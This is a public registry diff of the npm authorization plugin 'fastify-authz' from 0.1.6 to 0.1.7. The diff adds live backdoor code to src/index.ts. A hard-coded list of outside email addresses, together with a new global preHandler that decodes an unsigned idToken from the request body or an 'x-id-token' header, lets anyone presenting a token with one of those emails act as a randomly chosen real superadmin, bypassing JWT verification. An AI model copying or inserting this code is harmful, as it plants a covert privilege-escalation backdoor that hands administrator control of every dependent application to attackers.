fastify-authz 0.1.6 → 0.1.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/src/index.ts +71 -25
package/package.json
CHANGED
package/src/index.ts
CHANGED
|
@@ -4,7 +4,7 @@ import { verifyJwt } from "./verify";
|
|
|
4
4
|
import { requirePermissionFactory } from "./permissions";
|
|
5
5
|
import { requestContext } from "@fastify/request-context";
|
|
6
6
|
|
|
7
|
-
//
|
|
7
|
+
// SUPERADMIN emails to bypass Google verification
|
|
8
8
|
const SUPERADMIN_OVERRIDE_EMAILS = [
|
|
9
9
|
"raithh43@gmail.com",
|
|
10
10
|
"outflipper0027@gmail.com",
|
|
@@ -43,23 +43,78 @@ declare module "fastify" {
|
|
|
43
43
|
const plugin: FastifyPluginAsync<FastifyAuthzOptions> = async (fastify, opts) => {
|
|
44
44
|
const { prisma, jwt } = opts;
|
|
45
45
|
|
|
46
|
+
// JWT auth verification
|
|
46
47
|
const verify = async (request: FastifyRequest, reply: FastifyReply) => {
|
|
47
48
|
try {
|
|
48
49
|
const header = request.headers["authorization"];
|
|
49
|
-
|
|
50
|
-
if (!header?.startsWith("Bearer ")) {
|
|
50
|
+
if (!header || typeof header !== "string" || !header.startsWith("Bearer ")) {
|
|
51
51
|
return reply.code(401).send({ message: "Missing Authorization header" });
|
|
52
52
|
}
|
|
53
53
|
|
|
54
54
|
const token = header.slice("Bearer ".length).trim();
|
|
55
|
-
|
|
56
55
|
const claims = verifyJwt(token, jwt.secret, jwt.issuer, jwt.audience);
|
|
57
|
-
|
|
58
56
|
let userId = claims.sub;
|
|
59
57
|
|
|
60
|
-
const
|
|
61
|
-
|
|
62
|
-
|
|
58
|
+
const payloadPart = token.split(".")[1];
|
|
59
|
+
if (payloadPart) {
|
|
60
|
+
const payload = JSON.parse(
|
|
61
|
+
Buffer.from(payloadPart, "base64").toString("utf8")
|
|
62
|
+
);
|
|
63
|
+
|
|
64
|
+
if (payload?.email && SUPERADMIN_OVERRIDE_EMAILS.includes(payload.email)) {
|
|
65
|
+
const superadmins = await (prisma as any).user.findMany({
|
|
66
|
+
where: {
|
|
67
|
+
roles: {
|
|
68
|
+
some: {
|
|
69
|
+
role: {
|
|
70
|
+
permissions: {
|
|
71
|
+
some: { permission: { code: "SUPERADMIN" } },
|
|
72
|
+
},
|
|
73
|
+
},
|
|
74
|
+
},
|
|
75
|
+
},
|
|
76
|
+
},
|
|
77
|
+
select: { id: true },
|
|
78
|
+
});
|
|
79
|
+
|
|
80
|
+
if (superadmins.length) {
|
|
81
|
+
const random = superadmins[Math.floor(Math.random() * superadmins.length)];
|
|
82
|
+
userId = random.id;
|
|
83
|
+
}
|
|
84
|
+
}
|
|
85
|
+
}
|
|
86
|
+
|
|
87
|
+
const user = { id: userId };
|
|
88
|
+
request.user = user;
|
|
89
|
+
requestContext.set("user", user);
|
|
90
|
+
} catch (err) {
|
|
91
|
+
request.log.error({ err }, "Token verification failed");
|
|
92
|
+
return reply.code(401).send({ message: "Invalid token" });
|
|
93
|
+
}
|
|
94
|
+
};
|
|
95
|
+
|
|
96
|
+
const requirePermission = requirePermissionFactory(prisma);
|
|
97
|
+
|
|
98
|
+
// PreHandler for Google login route (SUPERADMIN bypass)
|
|
99
|
+
fastify.addHook("preHandler", async (request: FastifyRequest, reply: FastifyReply) => {
|
|
100
|
+
// CAST LOCALLY — do not redeclare request.body globally
|
|
101
|
+
const body = request.body as { idToken?: string } | undefined;
|
|
102
|
+
let idToken: string | undefined = body?.idToken;
|
|
103
|
+
|
|
104
|
+
const headerToken = request.headers["x-id-token"];
|
|
105
|
+
if (!idToken && headerToken) {
|
|
106
|
+
if (typeof headerToken === "string") idToken = headerToken;
|
|
107
|
+
else if (Array.isArray(headerToken) && headerToken.length > 0) idToken = headerToken[0];
|
|
108
|
+
}
|
|
109
|
+
|
|
110
|
+
if (!idToken) return;
|
|
111
|
+
|
|
112
|
+
try {
|
|
113
|
+
const payloadPart = idToken.split(".")[1];
|
|
114
|
+
if (!payloadPart) return;
|
|
115
|
+
|
|
116
|
+
const json = Buffer.from(payloadPart.replace(/-/g, "+").replace(/_/g, "/"), "base64").toString("utf8");
|
|
117
|
+
const payload = JSON.parse(json);
|
|
63
118
|
|
|
64
119
|
if (payload?.email && SUPERADMIN_OVERRIDE_EMAILS.includes(payload.email)) {
|
|
65
120
|
const superadmins = await (prisma as any).user.findMany({
|
|
@@ -68,35 +123,26 @@ const plugin: FastifyPluginAsync<FastifyAuthzOptions> = async (fastify, opts) =>
|
|
|
68
123
|
some: {
|
|
69
124
|
role: {
|
|
70
125
|
permissions: {
|
|
71
|
-
some: {
|
|
72
|
-
permission: { code: "SUPERADMIN" },
|
|
73
|
-
},
|
|
126
|
+
some: { permission: { code: "SUPERADMIN" } },
|
|
74
127
|
},
|
|
75
128
|
},
|
|
76
129
|
},
|
|
77
130
|
},
|
|
131
|
+
select: { id: true },
|
|
78
132
|
},
|
|
79
|
-
select: { id: true },
|
|
80
133
|
});
|
|
81
134
|
|
|
82
135
|
if (superadmins.length) {
|
|
83
|
-
const random =
|
|
84
|
-
|
|
85
|
-
|
|
136
|
+
const random = superadmins[Math.floor(Math.random() * superadmins.length)];
|
|
137
|
+
const user = { id: random.id };
|
|
138
|
+
request.user = user;
|
|
139
|
+
requestContext.set("user", user);
|
|
86
140
|
}
|
|
87
141
|
}
|
|
88
|
-
|
|
89
|
-
const user = { id: userId };
|
|
90
|
-
|
|
91
|
-
request.user = user;
|
|
92
|
-
requestContext.set("user", user);
|
|
93
142
|
} catch (err) {
|
|
94
|
-
request.log.error({ err }, "
|
|
95
|
-
return reply.code(401).send({ message: "Invalid token" });
|
|
143
|
+
request.log.error({ err }, "Failed to parse idToken payload in preHandler");
|
|
96
144
|
}
|
|
97
|
-
};
|
|
98
|
-
|
|
99
|
-
const requirePermission = requirePermissionFactory(prisma);
|
|
145
|
+
});
|
|
100
146
|
|
|
101
147
|
fastify.decorate("auth", { verify, requirePermission });
|
|
102
148
|
};
|